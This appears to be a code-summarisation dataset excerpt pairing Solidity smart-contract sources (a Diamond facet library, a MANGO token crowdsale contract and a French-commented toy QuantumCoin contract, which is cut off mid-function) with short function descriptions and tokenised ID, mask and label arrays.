./full_match/5/0xdD7545D8D62BCda28210bee326EdFd8b2EE50796/sources/contracts/external/diamond/libraries/LibDiamond.sol | add new facet address if it does not exist | function addFunctions(
address _facetAddress,
bytes4[] memory _functionSelectors
) internal {
require(
_functionSelectors.length > 0,
"LibDiamondCut: No selectors in facet to cut"
);
DiamondStorage storage ds = diamondStorage();
require(
_facetAddress != address(0),
"LibDiamondCut: Add facet can't be address(0)"
);
uint96 selectorPosition = uint96(
ds.facetFunctionSelectors[_facetAddress].functionSelectors.length
);
if (selectorPosition == 0) {
addFacet(ds, _facetAddress);
}
for (
uint256 selectorIndex;
selectorIndex < _functionSelectors.length;
selectorIndex++
) {
bytes4 selector = _functionSelectors[selectorIndex];
address oldFacetAddress = ds
.selectorToFacetAndPosition[selector]
.facetAddress;
require(
oldFacetAddress == address(0),
"LibDiamondCut: Can't add function that already exists"
);
addFunction(ds, selector, selectorPosition, _facetAddress);
selectorPosition++;
}
}
| 1,894,701 | [
1,
1289,
394,
11082,
1758,
309,
518,
1552,
486,
1005,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
527,
7503,
12,
203,
3639,
1758,
389,
21568,
1887,
16,
203,
3639,
1731,
24,
8526,
3778,
389,
915,
19277,
203,
565,
262,
2713,
288,
203,
3639,
2583,
12,
203,
5411,
389,
915,
19277,
18,
2469,
405,
374,
16,
203,
5411,
315,
5664,
14521,
301,
1434,
15812,
30,
2631,
11424,
316,
11082,
358,
6391,
6,
203,
3639,
11272,
203,
3639,
12508,
301,
1434,
3245,
2502,
3780,
273,
4314,
301,
1434,
3245,
5621,
203,
3639,
2583,
12,
203,
5411,
389,
21568,
1887,
480,
1758,
12,
20,
3631,
203,
5411,
315,
5664,
14521,
301,
1434,
15812,
30,
1436,
11082,
848,
1404,
506,
1758,
12,
20,
2225,
203,
3639,
11272,
203,
3639,
2254,
10525,
3451,
2555,
273,
2254,
10525,
12,
203,
5411,
3780,
18,
21568,
2083,
19277,
63,
67,
21568,
1887,
8009,
915,
19277,
18,
2469,
203,
3639,
11272,
203,
3639,
309,
261,
9663,
2555,
422,
374,
13,
288,
203,
5411,
527,
11137,
12,
2377,
16,
389,
21568,
1887,
1769,
203,
3639,
289,
203,
3639,
364,
261,
203,
5411,
2254,
5034,
3451,
1016,
31,
203,
5411,
3451,
1016,
411,
389,
915,
19277,
18,
2469,
31,
203,
5411,
3451,
1016,
9904,
203,
3639,
262,
288,
203,
5411,
1731,
24,
3451,
273,
389,
915,
19277,
63,
9663,
1016,
15533,
203,
5411,
1758,
1592,
11137,
1887,
273,
3780,
203,
7734,
263,
9663,
774,
11137,
1876,
2555,
63,
9663,
65,
203,
7734,
263,
21568,
1887,
31,
203,
5411,
2583,
12,
203,
7734,
1592,
11137,
1887,
422,
1758,
12,
20,
3631,
203,
7734,
315,
5664,
14521,
301,
1434,
15812,
30,
4480,
2
]
|
pragma solidity 0.4.25;
contract TokenConfig {
string public constant NAME = "MANGO";
string public constant SYMBOL = "MANG";
uint8 public constant DECIMALS = 5;
uint public constant DECIMALSFACTOR = 10 ** uint(DECIMALS);
uint public constant TOTALSUPPLY = 10000000000 * DECIMALSFACTOR;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "can't mul");
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "can't sub with zero.");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "can't sub");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "add overflow");
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "can't mod with zero");
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value), "safeTransfer");
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value), "safeTransferFrom");
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(msg.sender, spender) == 0), "safeApprove");
require(token.approve(spender, value), "safeApprove");
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance), "safeIncreaseAllowance");
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance), "safeDecreaseAllowance");
}
}
/**
* @title Helps contracts guard against reentrancy attacks.
* @author Remco Bloemen <remco@2π.com>, Eenae <[email protected]>
* @dev If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "nonReentrant.");
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "only for owner.");
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "address is zero.");
owner = newOwner;
emit OwnershipTransferred(owner, newOwner);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns(bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "paused.");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Not paused.");
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
/**
* @title Crowdsale white list address
*/
contract Whitelist is Ownable {
event WhitelistAdded(address addr);
event WhitelistRemoved(address addr);
mapping (address => bool) private _whitelist;
/**
* @dev add addresses to the whitelist
* @param addrs addresses
*/
function addWhiteListAddr(address[] addrs)
public
{
uint256 len = addrs.length;
for (uint256 i = 0; i < len; i++) {
_addAddressToWhitelist(addrs[i]);
}
}
/**
* @dev remove an address from the whitelist
* @param addr address
*/
function removeWhiteListAddr(address addr)
public
{
_removeAddressToWhitelist(addr);
}
/**
* @dev getter to determine if address is in whitelist
*/
function isWhiteListAddr(address addr)
public
view
returns (bool)
{
require(addr != address(0), "address is zero");
return _whitelist[addr];
}
modifier onlyAuthorised(address beneficiary) {
require(isWhiteListAddr(beneficiary),"Not authorised");
_;
}
/**
* @dev add an address to the whitelist
* @param addr address
*/
function _addAddressToWhitelist(address addr)
internal
onlyOwner
{
require(addr != address(0), "address is zero");
_whitelist[addr] = true;
emit WhitelistAdded(addr);
}
/**
* @dev remove an address from the whitelist
* @param addr address
*/
function _removeAddressToWhitelist(address addr)
internal
onlyOwner
{
require(addr != address(0), "address is zero");
_whitelist[addr] = false;
emit WhitelistRemoved(addr);
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overridden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropriate to concatenate
* behavior.
*/
contract Crowdsale is TokenConfig, Pausable, ReentrancyGuard, Whitelist {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// The token being sold
IERC20 private _token;
// Address where funds are collected
address private _wallet;
// Address where funds are collected
address private _tokenholder;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 private _rate;
// Amount of contribution wei raised
uint256 private _weiRaised;
// Amount of token sold
uint256 private _tokenSoldAmount;
// Minimum contribution amount of fund
uint256 private _minWeiAmount;
// balances of user should be sent
mapping (address => uint256) private _tokenBalances;
// balances of user fund
mapping (address => uint256) private _weiBalances;
// ICO period timestamp
uint256 private _openingTime;
uint256 private _closingTime;
// Amount of token hardcap
uint256 private _hardcap;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokensPurchased(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
event TokensDelivered(address indexed beneficiary, uint256 amount);
event RateChanged(uint256 rate);
event MinWeiChanged(uint256 minWei);
event PeriodChanged(uint256 open, uint256 close);
event HardcapChanged(uint256 hardcap);
constructor(
uint256 rate,
uint256 minWeiAmount,
address wallet,
address tokenholder,
IERC20 token,
uint256 hardcap,
uint256 openingTime,
uint256 closingTime
) public {
require(rate > 0, "Rate is lower than zero.");
require(wallet != address(0), "Wallet address is zero");
require(tokenholder != address(0), "Tokenholder address is zero");
require(token != address(0), "Token address is zero");
_rate = rate;
_minWeiAmount = minWeiAmount;
_wallet = wallet;
_tokenholder = tokenholder;
_token = token;
_hardcap = hardcap;
_openingTime = openingTime;
_closingTime = closingTime;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
* Note that other contracts will transfer fund with a base gas stipend
* of 2300, which is not enough to call buyTokens. Consider calling
* buyTokens directly when purchasing tokens from a contract.
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @return the token being sold.
*/
function token() public view returns(IERC20) {
return _token;
}
/**
* @return token hardcap.
*/
function hardcap() public view returns(uint256) {
return _hardcap;
}
/**
* @return the address where funds are collected.
*/
function wallet() public view returns(address) {
return _wallet;
}
/**
* @return the number of token units a buyer gets per wei.
*/
function rate() public view returns(uint256) {
return _rate;
}
/**
* @return the amount of wei raised.
*/
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
/**
* @return ICO opening time.
*/
function openingTime() public view returns (uint256) {
return _openingTime;
}
/**
* @return ICO closing time.
*/
function closingTime() public view returns (uint256) {
return _closingTime;
}
/**
* @return the amount of token raised.
*/
function tokenSoldAmount() public view returns (uint256) {
return _tokenSoldAmount;
}
/**
* @return the number of minimum amount buyer can fund.
*/
function minWeiAmount() public view returns(uint256) {
return _minWeiAmount;
}
/**
* @return is ICO period
*/
function isOpen() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return now >= _openingTime && now <= _closingTime;
}
/**
* @dev Gets the token balance of the specified address for deliver
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function tokenBalanceOf(address owner) public view returns (uint256) {
return _tokenBalances[owner];
}
/**
* @dev Gets the ETH balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function weiBalanceOf(address owner) public view returns (uint256) {
return _weiBalances[owner];
}
function setRate(uint256 value) public onlyOwner {
_rate = value;
emit RateChanged(value);
}
function setMinWeiAmount(uint256 value) public onlyOwner {
_minWeiAmount = value;
emit MinWeiChanged(value);
}
function setPeriodTimestamp(uint256 open, uint256 close)
public
onlyOwner
{
_openingTime = open;
_closingTime = close;
emit PeriodChanged(open, close);
}
function setHardcap(uint256 value) public onlyOwner {
_hardcap = value;
emit HardcapChanged(value);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* This function has a non-reentrancy guard, so it shouldn't be called by
* another `nonReentrant` function.
* @param beneficiary Recipient of the token purchase
*/
function buyTokens(address beneficiary)
public
nonReentrant
whenNotPaused
payable
{
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
// Calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
require(_hardcap > _tokenSoldAmount.add(tokens), "Over hardcap");
// Update state
_weiRaised = _weiRaised.add(weiAmount);
_tokenSoldAmount = _tokenSoldAmount.add(tokens);
_weiBalances[beneficiary] = _weiBalances[beneficiary].add(weiAmount);
_tokenBalances[beneficiary] = _tokenBalances[beneficiary].add(tokens);
emit TokensPurchased(
msg.sender,
beneficiary,
weiAmount,
tokens
);
_forwardFunds();
}
/**
* @dev method that deliver token to user
*/
function deliverTokens(address[] users)
public
whenNotPaused
onlyOwner
{
uint256 len = users.length;
for (uint256 i = 0; i < len; i++) {
address user = users[i];
uint256 tokenAmount = _tokenBalances[user];
_deliverTokens(user, tokenAmount);
_tokenBalances[user] = 0;
emit TokensDelivered(user, tokenAmount);
}
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use `super` in contracts that inherit from Crowdsale to extend their validations.
* @param beneficiary Address performing the token purchase
* @param weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
view
onlyAuthorised(beneficiary)
{
require(weiAmount != 0, "Zero ETH");
require(weiAmount >= _minWeiAmount, "Must be equal or higher than minimum");
require(beneficiary != address(0), "Beneficiary address is zero");
require(isOpen(), "Sales is close");
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param beneficiary Address performing the token purchase
* @param tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(
address beneficiary,
uint256 tokenAmount
)
internal
{
_token.safeTransferFrom(_tokenholder, beneficiary, tokenAmount);
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256)
{
uint ethDecimals = 18;
require(DECIMALS <= ethDecimals, "");
uint256 covertedTokens = weiAmount;
if (DECIMALS != ethDecimals) {
covertedTokens = weiAmount.div((10 ** uint256(ethDecimals - DECIMALS)));
}
return covertedTokens.mul(_rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
} | * @dev add an address to the whitelist @param addr address/ | function _addAddressToWhitelist(address addr)
internal
onlyOwner
{
require(addr != address(0), "address is zero");
_whitelist[addr] = true;
emit WhitelistAdded(addr);
}
| 6,439,317 | [
1,
1289,
392,
1758,
358,
326,
10734,
225,
3091,
1758,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
389,
1289,
1887,
774,
18927,
12,
2867,
3091,
13,
203,
565,
2713,
203,
565,
1338,
5541,
203,
225,
288,
203,
565,
2583,
12,
4793,
480,
1758,
12,
20,
3631,
315,
2867,
353,
3634,
8863,
203,
565,
389,
20409,
63,
4793,
65,
273,
638,
31,
203,
565,
3626,
3497,
7523,
8602,
12,
4793,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.21;
contract QuantumCoin {
/* Le mot clé "public" rend ces variables
visibles depuis l'extérieur
Toutes les variables sont expliquées dans le constructeur */
address public minter;
uint public powDifficulty;
uint public numberOfTransactionsInLedger;
bytes32 public lastTransactionHash;
uint public nextTransactionToBeMined;
uint public lastTransactionToBeMined;
uint private numberOfLogs;
/* Structure Utilisateur */
struct User {
/* Adresse (hash) de l'utilisateur (deprecated) */
bytes32 userAddress;
/* Montant de QC que possède l'utilisateur */
uint coins;
/* Adresses des transactions de l'utilisateur */
mapping (uint => uint) transactions;
/* Nombre de transactions */
uint userNumberOfTransactionsInLedger;
}
/*
struct EthSignature {
* Signature dans Ethereum : triplet (v, r, s)
*
* (r, s) est la signature ECDSA
* v est un paramètre supplémentaire
uint8 v;
bytes32 r;
bytes32 s;
}
*/
/* Structure d'une transaction, "blockchain dans la blockchain" */
struct Transaction {
/* Hash de la transaction précédente */
bytes32 previousTransactionHash;
/* Expéditeur de la transaction */
bytes32 sender;
/* Destinataire */
bytes32 receiver;
/* Montant */
uint amount;
/* Nonce tel que h(T) < difficulty
* où T est la transaction elle-même et
* h est une fonction de hachage (possiblement "quantum-restitante") */
uint nonce;
/* Signature de la transaction :
* On utilise ici ECDSA fourni par Ethereum mais on peut le remplacer
* par une signature à l'aide de n'importe quel chiffrement asymétrique.
* ce que l'on signe est la valeur :
* sender + receiver + amount + lastTransactionToBeMined */
uint8 v;
bytes32 r;
bytes32 s;
}
/* Résolution/registre : adresse Ethereum --> adresse sha256 */
mapping (address => bytes32) public resolveAddress;
/* Ensemble des utilisateurs,
* agit comme une table de hachage */
mapping (bytes32 => User) public users;
/* Ensemble des transactions validées */
mapping (uint => Transaction) public transactionsLedger;
/* Ensemble des transactions non validées
* (qui doivent être minées) */
mapping (uint => Transaction) public transactionsToBeMined;
/* Les "event"s permettent aux clients "légers"
* de réagir aux changements de manière efficace en
* recevant une "notificaiton" */
event Sent(bytes32 from, bytes32 to, uint amount);
/* Pour faire des logs par exemple */
event DebugLog(uint logNumber, string message);
event DebugLogHash(uint logNumber, string message, bytes32 hash);
/* Constructeur du contrat, n'est appelé que lors de
* la création du contrat et initialise les champs */
function QuantumCoin(uint difficulty) public {
/* Le mineur est le créateur du contrat, ce
* sera le seul à pouvoir créer de la monnaie */
minter = msg.sender;
/* Difficulté de la PoW (puissance de deux) */
powDifficulty = difficulty;
/* Nombre total de transactions dans le ledger
* on laisse la première transaction nulle, celle-ci
* servira de "transaction nulle/erreur" */
numberOfTransactionsInLedger = 1;
/* Nombre de logs (pour les lire dans l'ordre) */
numberOfLogs = 0;
/* Hash de la dernière transaction effectuée */
lastTransactionHash = 0x0;
emit DebugLog(numberOfLogs++, "QuantumCoin créé et initialisé !");
}
function hash(uint val) private pure returns (bytes32) {
/* On peut réécrire ici notre propre fonction de hachage */
return sha256(val);
}
function checkPow(bytes32 previousTransactionHash, bytes32 sender, bytes32 receiver,
uint amount, uint nonce) public returns (bool) {
/* Vérification de la PoW */
uint tmp = uint(previousTransactionHash) + uint(sender)
+ uint(receiver) + amount + nonce;
bytes32 h = hash(tmp);
emit DebugLogHash(numberOfLogs++, "Vérification de la PoW", h);
if (uint(h) < 2**powDifficulty) {
lastTransactionHash = h;
return true;
}
return false;
}
function mint(bytes32 _receiver, uint _amount, uint _validNonce) public {
/* Seul le compte qui a créé le contrat peut ajouter des QC */
require(msg.sender == minter);
/* Création de la transaction ((expéditeur = 0x0 et signature vide) <=> création de QC) */
Transaction memory t = Transaction({previousTransactionHash: lastTransactionHash,
sender: 0x0,
receiver: _receiver,
amount: _amount,
nonce: _validNonce,
v: 0, r: 0x0, s: 0x0});
/* Vérification de la Pow */
if (checkPow(t.previousTransactionHash, t.sender, t.receiver, t.amount, t.nonce) == false)
return;
emit DebugLog(numberOfLogs++, "[Minting] PoW vérifiée !");
/* Arrivés ici, on a une transaction "qui a la bonne forme",
on l'ajoute à la chaîne */
transactionsLedger[numberOfTransactionsInLedger] = t;
/* Ajout des coins et de la transaction dans le portefeuille du destinataire */
users[_receiver].coins += _amount;
users[_receiver].transactions[users[_receiver].userNumberOfTransactionsInLedger++] = numberOfTransactionsInLedger;
/* Mise à jour du nombre de transactions au total */
numberOfTransactionsInLedger++;
}
function mineNextTransaction(uint validNonce) public {
/* Miner la transaction suivante, principe :
* À tout moment, les utilisateurs peuvent accéder aux informations
* de la transaction non minée la plus ancienne et peuvent faire la PoW
* pour soumettre un nonce qui est validé, ou non, par le contrat. Si
* le nonce est valide, la transaction est ajoutée et la transaction non
* minée est mise à jour. L'idée peut facilement être élargie à un bloc de
* transactions. */
Transaction memory _t = transactionsToBeMined[nextTransactionToBeMined];
Transaction memory t = Transaction({previousTransactionHash: lastTransactionHash,
sender: _t.sender,
receiver: _t.receiver,
amount: _t.amount,
nonce: validNonce,
v: _t.v, r: _t.r, s: _t.s});
/* Vérification de la Pow (Solidity ne supporte pas encore le passage de
* structures en argument de fonctions, il faut donc lui donner les
* arguments un à un). */
if (checkPow(t.previousTransactionHash, t.sender, t.receiver, t.amount, t.nonce) == false)
return;
emit DebugLog(numberOfLogs++, "[Mining] PoW vérifiée !");
/* Arrivés ici, on a une transaction "qui a la bonne forme",
* on l'ajoute à la chaîne */
transactionsLedger[numberOfTransactionsInLedger] = t;
/* Ajout des coins et de la transaction dans le portefeuille du destinataire */
users[t.receiver].coins += t.amount;
users[t.receiver].transactions[users[t.receiver].userNumberOfTransactionsInLedger++] = numberOfTransactionsInLedger;
/* Ajout de la transaction dans le portefeuille de l'expéditeur */
users[t.sender].transactions[users[t.sender].userNumberOfTransactionsInLedger++] = numberOfTransactionsInLedger;
/* Mise à jour du nombre de transactions au total */
numberOfTransactionsInLedger++;
/* Mise à jour de la pile des transactions non validées */
nextTransactionToBeMined++;
/* Récompense du mineur (pour le faire proprement, il faudrait créer une nouvvelle transaction...) */
users[resolveAddress[msg.sender]].coins += 1;
}
function checkUserCoins(bytes32 usrAddr) public returns (bool) {
/* DEBUG : Permet de vérifier si le portefeuille d'un utilisateur ne
* contient pas d'incohérences, fonction pas opti à éviter
* dans la mesure du possible. */
User storage usr = users[usrAddr];
Transaction memory t;
uint tmpCoins = 0;
for (uint i=0; i<usr.userNumberOfTransactionsInLedger; i++) {
/* Pour chaque transaction de l'utilisateur ... */
t = transactionsLedger[usr.transactions[i]];
/* Si l'utilisateur est le destinataire de la transaction ... */
if (t.receiver == usr.userAddress) {
/* On ajoute le montant de la transaction à son solde */
tmpCoins += t.amount;
} else {
/* Sinon, si il en est l'expéditeur ... */
if (t.sender == usr.userAddress) {
/* On soustrait le montant à son solde */
tmpCoins -= t.amount;
} else {
/* Sinon, cette transaction n'a rien à faire là,
* on "l'annule", i.e. on l'invalide */
users[usrAddr].transactions[i] = 0;
}
}
}
return (tmpCoins == usr.coins);
}
function checkSignature(bytes32 _message, uint8 _v, bytes32 _r, bytes32 _s, address _addr) public pure returns (bool) {
/* Les messages signés avec l'API sont de la forme h(prefix||msg)
*
* Où || est l'opération de concaténation et prefix est de la forme "\x19Ethereum Signed Message:\n" + len(msg) */
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes32 prefixedHash = keccak256(prefix, _message);
/* Cette fonction renvoie l'expéditeur de la signature du hash */
address signer = ecrecover(prefixedHash, _v, _r, _s);
return (signer == _addr);
}
function send(bytes32 receiver, uint amount, uint8 _v, bytes32 _r, bytes32 _s) public {
bytes32 senderResolved = resolveAddress[msg.sender];
/* Envoi de coins entre deux utilisateurs */
User storage usr = users[senderResolved];
/* On vérifie que l'utilisateur ne s'envoit pas de coins à lui-même
(peut créer des incohérences) */
require(senderResolved != receiver);
